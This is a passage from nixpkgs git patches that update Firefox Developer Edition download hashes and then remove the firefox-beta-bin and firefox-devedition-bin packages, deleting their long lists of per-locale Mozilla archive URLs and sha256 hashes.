+      sha256 = "b4dde818b1b2587b9057e96771a205ce691609934ddc4fe3f293a1f4f92598f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/zh-CN/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/zh-CN/Firefox%20140.0b5.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "cd905f3ceff4c7894aa299562fbf495051760af5b600ff35f0d1ef88fdbe2187";
+      sha256 = "c7a7cc8c0f059f44053b712aede9f86e9ebff927dc001dc89e78e844030bdf79";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/zh-TW/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/zh-TW/Firefox%20140.0b5.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "8b50ad669970fa040a3c12156c24903c3b6a885ad7cc886ef7a25507ac27f202";
+      sha256 = "728aac576c19521a5cb35e1cf7eb8e82a5055a9dbd4cc31eaa1b0110db10846c";
     }
   ];
 }

From 9c0693aa2e70404cceb09bda01e452209591aaf0 Mon Sep 17 00:00:00 2001
From: taku0 <mxxouy6x3m_github@tatapa.org>
Date: Fri, 6 Jun 2025 21:39:16 +0900
Subject: [PATCH 1052/4511] firefox-beta-bin, firefox-devedition-bin: remove

(cherry picked from commit e048bd23c4078cc7e669c3dcdffac72b70232005)
---
 nixos/modules/programs/firefox.nix            |    2 -
 .../browsers/firefox-bin/beta_sources.nix     | 2477 -----------------
 .../browsers/firefox-bin/default.nix          |   13 +-
 .../firefox-bin/developer-edition_sources.nix | 2477 -----------------
 pkgs/top-level/aliases.nix                    |    2 +
 pkgs/top-level/all-packages.nix               |   22 -
 6 files changed, 5 insertions(+), 4988 deletions(-)
 delete mode 100644 pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix
 delete mode 100644 pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix

diff --git a/nixos/modules/programs/firefox.nix b/nixos/modules/programs/firefox.nix
index b041e1d072b0..2019f1724523 100644
--- a/nixos/modules/programs/firefox.nix
+++ b/nixos/modules/programs/firefox.nix
@@ -74,9 +74,7 @@ in
       defaultText = lib.literalExpression "pkgs.firefox";
       relatedPackages = [
         "firefox"
-        "firefox-beta-bin"
         "firefox-bin"
-        "firefox-devedition-bin"
         "firefox-esr"
       ];
     };
diff --git a/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix
deleted file mode 100644
index 98920f6ab23c..000000000000
--- a/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix
+++ /dev/null
@@ -1,2477 +0,0 @@
-{
-  version = "140.0b6";
-  sources = [
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ach/firefox-140.0b6.tar.xz";
-      locale = "ach";
-      arch = "linux-x86_64";
-      sha256 = "0cf9f3c0865a1dc3c327e78cfb2447f64d64a280121c78aeee4046d74116dce4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/af/firefox-140.0b6.tar.xz";
-      locale = "af";
-      arch = "linux-x86_64";
-      sha256 = "6a38e65b960d36ad164e71cbbd2c427ae28e68662f78182cafbccedbdaee86cb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/an/firefox-140.0b6.tar.xz";
-      locale = "an";
-      arch = "linux-x86_64";
-      sha256 = "93a085d3bcbf1074c309aae8dd0418dbaaa030666c16f732ba21079854f3098b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ar/firefox-140.0b6.tar.xz";
-      locale = "ar";
-      arch = "linux-x86_64";
-      sha256 = "b324f71e736da3d7dce96dcae18a19e3a1ed01b2075d68d4662a740c2011662f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ast/firefox-140.0b6.tar.xz";
-      locale = "ast";
-      arch = "linux-x86_64";
-      sha256 = "4c57ca12f04a176a29ce31ccbbbf4f5454b8af8e7fc14ddef6c09a7906156dbb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/az/firefox-140.0b6.tar.xz";
-      locale = "az";
-      arch = "linux-x86_64";
-      sha256 = "78934de24158bcb311683170a5131da2b746322e761d5fbddeb321982764fde7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/be/firefox-140.0b6.tar.xz";
-      locale = "be";
-      arch = "linux-x86_64";
-      sha256 = "e01175f882c4771dc533a3129178c8382c42757e4873c092da36ae8ebde4110a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/bg/firefox-140.0b6.tar.xz";
-      locale = "bg";
-      arch = "linux-x86_64";
-      sha256 = "39b6654edc934d89c18e9d1e9b5a9af0ce0b320d872400c2e9acda873a9c103d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/bn/firefox-140.0b6.tar.xz";
-      locale = "bn";
-      arch = "linux-x86_64";
-      sha256 = "f6afacf863c3d7ae32c15bf7fdb82fa6cab55a372628758d57dc603282ce0c35";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/br/firefox-140.0b6.tar.xz";
-      locale = "br";
-      arch = "linux-x86_64";
-      sha256 = "aae4aa8ff7fd6680e5d2571379f439577950126a09eea6fe674f1bb500d4a6fd";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/bs/firefox-140.0b6.tar.xz";
-      locale = "bs";
-      arch = "linux-x86_64";
-      sha256 = "4adf72960e23017bb0bc17c009fec323ecccd343a2fce5978c1b27207051f8aa";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ca-valencia/firefox-140.0b6.tar.xz";
-      locale = "ca-valencia";
-      arch = "linux-x86_64";
-      sha256 = "1f4f93108d0786912a5c18b65de23e206d1ed6456a2bcb98a4e481b21e397e09";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ca/firefox-140.0b6.tar.xz";
-      locale = "ca";
-      arch = "linux-x86_64";
-      sha256 = "f0be5b5097befc19b90c81f042211c6d00f934d13a9cc1b243072f02075a7738";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/cak/firefox-140.0b6.tar.xz";
-      locale = "cak";
-      arch = "linux-x86_64";
-      sha256 = "5bf076d97c7b82cbf17bdee89a1d7c3cc79d91cfbde3a2b62238a0801778e107";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/cs/firefox-140.0b6.tar.xz";
-      locale = "cs";
-      arch = "linux-x86_64";
-      sha256 = "9d57075e5c848034041250eb54d074daf69e77b6bcd5d9ce6f69796af0739b3d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/cy/firefox-140.0b6.tar.xz";
-      locale = "cy";
-      arch = "linux-x86_64";
-      sha256 = "86f5f9313a932943b0baa0ef256fe569732008e89a9a4a5c66adb8d310663d33";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/da/firefox-140.0b6.tar.xz";
-      locale = "da";
-      arch = "linux-x86_64";
-      sha256 = "3775d07785b01441a592676a7546d689fb5ee0b378ba0204e7ac26e13eae5955";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/de/firefox-140.0b6.tar.xz";
-      locale = "de";
-      arch = "linux-x86_64";
-      sha256 = "8a33d39219373b134b8b489d096b09d5d60362ae67d302ac4c19297221a23720";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/dsb/firefox-140.0b6.tar.xz";
-      locale = "dsb";
-      arch = "linux-x86_64";
-      sha256 = "9ef44a1dbb19631b3efbd09980bb7763a7d3d6c709c0dc1396f0d21a6dcfba59";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/el/firefox-140.0b6.tar.xz";
-      locale = "el";
-      arch = "linux-x86_64";
-      sha256 = "1364dbebf6329bf9e74395835f3a50377a744945a952bf0019943f3af81963c3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/en-CA/firefox-140.0b6.tar.xz";
-      locale = "en-CA";
-      arch = "linux-x86_64";
-      sha256 = "a9105aa0ef0560c406b7e99248ee72ec32fc1341a7853dfcbeaa19db6d33088e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/en-GB/firefox-140.0b6.tar.xz";
-      locale = "en-GB";
-      arch = "linux-x86_64";
-      sha256 = "b3f6af8344a975f7f6d421a55ba8d5093209b5b99bf2081192a15efd4d6977e1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/en-US/firefox-140.0b6.tar.xz";
-      locale = "en-US";
-      arch = "linux-x86_64";
-      sha256 = "ae3fc88078ea41f85a24ab6c4f865b476ceebef4c3a2117e02607c7afdc191a8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/eo/firefox-140.0b6.tar.xz";
-      locale = "eo";
-      arch = "linux-x86_64";
-      sha256 = "8cc56cc9d1b5f00356e7c060e74902c3887dd05681192d49602eb637495706d1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/es-AR/firefox-140.0b6.tar.xz";
-      locale = "es-AR";
-      arch = "linux-x86_64";
-      sha256 = "1f46f27b8ecf033c263d8a01cd3a5670796ce36c81ffe59c9654edf70c2efea1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/es-CL/firefox-140.0b6.tar.xz";
-      locale = "es-CL";
-      arch = "linux-x86_64";
-      sha256 = "6476b0ba91fb25eb196cd49afd41801bfe8ec4985200b66d09cc1d430ed7b26a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/es-ES/firefox-140.0b6.tar.xz";
-      locale = "es-ES";
-      arch = "linux-x86_64";
-      sha256 = "884cfa9e904ae82ad83f671f0a659e9b32471d25df13dbe666a68d526172c4ee";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/es-MX/firefox-140.0b6.tar.xz";
-      locale = "es-MX";
-      arch = "linux-x86_64";
-      sha256 = "586e2f31126ab58c7c9ff9935e95a4f009274119f08d196c59de21907c0f0b79";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/et/firefox-140.0b6.tar.xz";
-      locale = "et";
-      arch = "linux-x86_64";
-      sha256 = "044a218da86f3aa042834b6b4dd72f0ebfbbdafb54bc822b1f265280bbb7ae9d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/eu/firefox-140.0b6.tar.xz";
-      locale = "eu";
-      arch = "linux-x86_64";
-      sha256 = "7dcaf2b10df00a0d594279b1e05e346a1f7a1551b5b479f6691d95de93403158";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/fa/firefox-140.0b6.tar.xz";
-      locale = "fa";
-      arch = "linux-x86_64";
-      sha256 = "6098121dd11f772b24d157cb0aa1eff7acc914bfe05586672350454598c09622";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ff/firefox-140.0b6.tar.xz";
-      locale = "ff";
-      arch = "linux-x86_64";
-      sha256 = "81d1eea86c5299adbb8c5d6076a5f7f910ef10b0620ec8aabb9551e8ff100a93";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/fi/firefox-140.0b6.tar.xz";
-      locale = "fi";
-      arch = "linux-x86_64";
-      sha256 = "017ed1a20f955537b8641828cc168c75a1ca912a44155d035c8adc17c0723581";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/fr/firefox-140.0b6.tar.xz";
-      locale = "fr";
-      arch = "linux-x86_64";
-      sha256 = "816b97fb48194cf5f738a05d204434c43a3619ece174825cc1d0b012d53845cf";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/fur/firefox-140.0b6.tar.xz";
-      locale = "fur";
-      arch = "linux-x86_64";
-      sha256 = "c3b8c021459f70b7a56d47d4b6d159bce7c2e5e02d6eb01025a08f7c377310b5";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/fy-NL/firefox-140.0b6.tar.xz";
-      locale = "fy-NL";
-      arch = "linux-x86_64";
-      sha256 = "ed00ebe292e5fcce02dc3e7a296dc8fe56b06e285f5884a89be8d3aefb0a931f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ga-IE/firefox-140.0b6.tar.xz";
-      locale = "ga-IE";
-      arch = "linux-x86_64";
-      sha256 = "e0e13635b24ef4a84668d192fea83f69f066592f2baa010d2634c55b699ac257";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/gd/firefox-140.0b6.tar.xz";
-      locale = "gd";
-      arch = "linux-x86_64";
-      sha256 = "c1dabaf4658a4a73e0de9a4e8f804f181bf304fc7c7d3542073fe8c28be39750";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/gl/firefox-140.0b6.tar.xz";
-      locale = "gl";
-      arch = "linux-x86_64";
-      sha256 = "a4ea22f0a82a2f920e5e3398995926f93e1bb0a1cefc704cef1412bd7d7bf5fe";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/gn/firefox-140.0b6.tar.xz";
-      locale = "gn";
-      arch = "linux-x86_64";
-      sha256 = "0998b1331fe1e87a3ca03c64d720be715d35e6bb90ff0fb8cf1ac4077ec20265";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/gu-IN/firefox-140.0b6.tar.xz";
-      locale = "gu-IN";
-      arch = "linux-x86_64";
-      sha256 = "16f62c0e2bf9e9ad8fd807da12ffb34b1a49f1a22c93d025dc5d287c0aa186f9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/he/firefox-140.0b6.tar.xz";
-      locale = "he";
-      arch = "linux-x86_64";
-      sha256 = "5017fb8bae1791da686b7f8d09081334fc26c91b50790f642e4567e367b054e4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/hi-IN/firefox-140.0b6.tar.xz";
-      locale = "hi-IN";
-      arch = "linux-x86_64";
-      sha256 = "41e966607bd8974e25768e49e8c2ea389c19d183a5c48155be2abe489b7daea9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/hr/firefox-140.0b6.tar.xz";
-      locale = "hr";
-      arch = "linux-x86_64";
-      sha256 = "2cd3ae2af8f30aaedd60ca8ad4fd30d37d613c80687ee0febe8dccb0aaa954c6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/hsb/firefox-140.0b6.tar.xz";
-      locale = "hsb";
-      arch = "linux-x86_64";
-      sha256 = "a921b7fd7fb36227594f60a7891cd052807d4f78f7facfc888490c10bbb5019b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/hu/firefox-140.0b6.tar.xz";
-      locale = "hu";
-      arch = "linux-x86_64";
-      sha256 = "d7443861c49462e780638801de1e43217677110eb9c5198fcfc333b144d91ca2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/hy-AM/firefox-140.0b6.tar.xz";
-      locale = "hy-AM";
-      arch = "linux-x86_64";
-      sha256 = "459af37c50eda7ce2394a0f410a0daeafdb8114df77b4933bc6fbd9057b3dc30";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ia/firefox-140.0b6.tar.xz";
-      locale = "ia";
-      arch = "linux-x86_64";
-      sha256 = "91f680cdae1bf75398b86e6f16c20f05917efcddc5482ecef0b60aad18a215ef";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/id/firefox-140.0b6.tar.xz";
-      locale = "id";
-      arch = "linux-x86_64";
-      sha256 = "20e45c279a9c94d3870248c511b0d3f9e002ff93f7cb4f61ee3606a76012bc81";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/is/firefox-140.0b6.tar.xz";
-      locale = "is";
-      arch = "linux-x86_64";
-      sha256 = "fa73b2738537764133d71d2beb15e0a0b5f1b34df335b84dcc76e23f5903c47f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/it/firefox-140.0b6.tar.xz";
-      locale = "it";
-      arch = "linux-x86_64";
-      sha256 = "c67b03b3a21c21cc196e87a4fe44e96bc1fa7bcc138b8e9f5dd109f30a2ea27e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ja/firefox-140.0b6.tar.xz";
-      locale = "ja";
-      arch = "linux-x86_64";
-      sha256 = "f748f10054ca044435d03337fb16b922a4513929186dbd6fa3954e397b4f7b9d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ka/firefox-140.0b6.tar.xz";
-      locale = "ka";
-      arch = "linux-x86_64";
-      sha256 = "b764067cc3dd81cd029ee418dcb2876afcd04c5d1288e1f8e8f0fb0bc11652c2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/kab/firefox-140.0b6.tar.xz";
-      locale = "kab";
-      arch = "linux-x86_64";
-      sha256 = "545392d704bf3efb780b634366abc503dbbb773baa0cb4b720d8ea26c7d8d5f7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/kk/firefox-140.0b6.tar.xz";
-      locale = "kk";
-      arch = "linux-x86_64";
-      sha256 = "cbf09845b5ea0c2d3964bd391f699cf6c0138a65f650b538330e101aa0493a88";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/km/firefox-140.0b6.tar.xz";
-      locale = "km";
-      arch = "linux-x86_64";
-      sha256 = "03c4299ea106f19383d8e3ee96657c4953ba7ba137c369c6f37382223fc675ea";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/kn/firefox-140.0b6.tar.xz";
-      locale = "kn";
-      arch = "linux-x86_64";
-      sha256 = "b4f0d0cd7e89322200db11b1ad1205847b14ce53357788e4a8150b99838e3ad3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ko/firefox-140.0b6.tar.xz";
-      locale = "ko";
-      arch = "linux-x86_64";
-      sha256 = "2d01bf0017f16fb0c1c0e582e8a5b67b8e2ef20ef51e953f5690b7f12ca2ebf9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/lij/firefox-140.0b6.tar.xz";
-      locale = "lij";
-      arch = "linux-x86_64";
-      sha256 = "636259f735696e95ce397ba0d5b7f7764702491406229dfd7425ead6e7340623";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/lt/firefox-140.0b6.tar.xz";
-      locale = "lt";
-      arch = "linux-x86_64";
-      sha256 = "42e902162cdd874b5586f2ce2c8a9a9302dbb231928e7425259bfad3ce964db4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/lv/firefox-140.0b6.tar.xz";
-      locale = "lv";
-      arch = "linux-x86_64";
-      sha256 = "0604cfc1f31b65d17f019eb42296e69730674cb04862c14929cfc0f9e6508071";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/mk/firefox-140.0b6.tar.xz";
-      locale = "mk";
-      arch = "linux-x86_64";
-      sha256 = "38d564c93c332d7c2da567b8bececf38daad80282427ad8c5056d34223d500a6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/mr/firefox-140.0b6.tar.xz";
-      locale = "mr";
-      arch = "linux-x86_64";
-      sha256 = "cb6bcb2c9d8f8f4fd8ea9b9084811d4eef589ce11c0fbe08a65306dabc8f0c04";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ms/firefox-140.0b6.tar.xz";
-      locale = "ms";
-      arch = "linux-x86_64";
-      sha256 = "e4d9a5131aa92cedde0b2708c57dc5c07ea39fc1caf5885869bb7959c51a0bdc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/my/firefox-140.0b6.tar.xz";
-      locale = "my";
-      arch = "linux-x86_64";
-      sha256 = "fe0317e8a76f98962e28f4e958b6af2cd159ade85c30ff742ebd6d2bf08cbb2c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/nb-NO/firefox-140.0b6.tar.xz";
-      locale = "nb-NO";
-      arch = "linux-x86_64";
-      sha256 = "86bd123290299872a5f2c7a5b595cf40b268b942be1d885307d0844d7bf6be4a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ne-NP/firefox-140.0b6.tar.xz";
-      locale = "ne-NP";
-      arch = "linux-x86_64";
-      sha256 = "7518b27513141150a3594f11e380ca53c94f16aebdab70b47fb3e9b7bcdd5980";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/nl/firefox-140.0b6.tar.xz";
-      locale = "nl";
-      arch = "linux-x86_64";
-      sha256 = "e90009b1e48d1569a7f58caa280301c7ec08ec96d948a35b1c9d779914bbe528";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/nn-NO/firefox-140.0b6.tar.xz";
-      locale = "nn-NO";
-      arch = "linux-x86_64";
-      sha256 = "fea69d9a206a4551d868ee8785bb393c881248b8c3921ee72d9300af4bbb976c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/oc/firefox-140.0b6.tar.xz";
-      locale = "oc";
-      arch = "linux-x86_64";
-      sha256 = "1fce99f304498dc4f0b57e5b72c45f7794200ce602ea1ef164c30141242cb1d2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/pa-IN/firefox-140.0b6.tar.xz";
-      locale = "pa-IN";
-      arch = "linux-x86_64";
-      sha256 = "d297d30be098565a3465e9e754ef4574a86f02745582a829842809c31e7ad96f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/pl/firefox-140.0b6.tar.xz";
-      locale = "pl";
-      arch = "linux-x86_64";
-      sha256 = "a56a7810bbcda13feb96dc387a517fe2b17f753e90e51e25649dc1eafe395b8c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/pt-BR/firefox-140.0b6.tar.xz";
-      locale = "pt-BR";
-      arch = "linux-x86_64";
-      sha256 = "6c690de44032785f5b0744507cec3f8de18864b4e4b87a95d904d1eb91c2eebe";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/pt-PT/firefox-140.0b6.tar.xz";
-      locale = "pt-PT";
-      arch = "linux-x86_64";
-      sha256 = "225790fcb18195777044676919338af8382d3d3e941035abfc7339d201cf8c9b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/rm/firefox-140.0b6.tar.xz";
-      locale = "rm";
-      arch = "linux-x86_64";
-      sha256 = "6a7ef06460dfd17cb3404ac37f26efad541ddbe8561a0bfbde46309595e9eff5";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ro/firefox-140.0b6.tar.xz";
-      locale = "ro";
-      arch = "linux-x86_64";
-      sha256 = "e117d4d651309ef6f8140156c266ac8da40fa4aa8d94eb43b9239d2f959cf063";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ru/firefox-140.0b6.tar.xz";
-      locale = "ru";
-      arch = "linux-x86_64";
-      sha256 = "8db80259e879eef2dff706952ca9d7ca5d19430ebcf096c554e8c6476e706364";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/sat/firefox-140.0b6.tar.xz";
-      locale = "sat";
-      arch = "linux-x86_64";
-      sha256 = "c188276663efa50e65b425b2782fda9a48abefc927c14a5028330a1f303ecd53";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/sc/firefox-140.0b6.tar.xz";
-      locale = "sc";
-      arch = "linux-x86_64";
-      sha256 = "86f11d795e454349c52e1e11ba27d4450057bf4ed34470ba5e247d98dbc81d48";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/sco/firefox-140.0b6.tar.xz";
-      locale = "sco";
-      arch = "linux-x86_64";
-      sha256 = "18bc467710002822c7ea3d64dacde32ac5e63f3eff6e783a5940340094112721";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/si/firefox-140.0b6.tar.xz";
-      locale = "si";
-      arch = "linux-x86_64";
-      sha256 = "0183d3f674a52f77eabe70bd7e4cf6ddefafbe63e4c4a7c531fe278df44b4879";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/sk/firefox-140.0b6.tar.xz";
-      locale = "sk";
-      arch = "linux-x86_64";
-      sha256 = "87b651fc158b90391e26c5f203ef83de9f0e2e7583da32b055517f54c33fff37";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/skr/firefox-140.0b6.tar.xz";
-      locale = "skr";
-      arch = "linux-x86_64";
-      sha256 = "d8add697f79c5b3885db3ad11e997145bf4961e6e7a3050fff60893c9d8ed7d9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/sl/firefox-140.0b6.tar.xz";
-      locale = "sl";
-      arch = "linux-x86_64";
-      sha256 = "a86132fb0b515b6305a028c1a5db05c19aea27ffe32bcf45e86ad787ba414091";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/son/firefox-140.0b6.tar.xz";
-      locale = "son";
-      arch = "linux-x86_64";
-      sha256 = "44c8eb2cebf499787b53a6fb6b5935dc07edb298fac94c91d111ceaa15cee342";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/sq/firefox-140.0b6.tar.xz";
-      locale = "sq";
-      arch = "linux-x86_64";
-      sha256 = "1b22f775d19a412d6ba6aed33637076c1d232fcfe1ae72a7bc4f69e943aacd47";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/sr/firefox-140.0b6.tar.xz";
-      locale = "sr";
-      arch = "linux-x86_64";
-      sha256 = "8369302b248ab2cf0b13f98ca0280b9604f16f524ace8b9e5bf897a273589ae6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/sv-SE/firefox-140.0b6.tar.xz";
-      locale = "sv-SE";
-      arch = "linux-x86_64";
-      sha256 = "b768fc130f0098ab7139e2256451f696291c6511a92568b9b8f0e0fac8e4f55c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/szl/firefox-140.0b6.tar.xz";
-      locale = "szl";
-      arch = "linux-x86_64";
-      sha256 = "e65a61516d5d50bb042c802800f5ccb78e89f9407a2c20abedb4af6fd7bf44f2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ta/firefox-140.0b6.tar.xz";
-      locale = "ta";
-      arch = "linux-x86_64";
-      sha256 = "49c920bf3981ae5b006810b09262436b0b727f54b47f92768c9beaba4ce02dec";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/te/firefox-140.0b6.tar.xz";
-      locale = "te";
-      arch = "linux-x86_64";
-      sha256 = "c35da2873dcdf14a1c82eabdf5993492bc0fd1b6b16215dcfcb27259b6b2bacd";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/tg/firefox-140.0b6.tar.xz";
-      locale = "tg";
-      arch = "linux-x86_64";
-      sha256 = "34cf2a7bac30ec63f04619d1af7f834e0a985336017d39f951f2f8e3b9b70350";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/th/firefox-140.0b6.tar.xz";
-      locale = "th";
-      arch = "linux-x86_64";
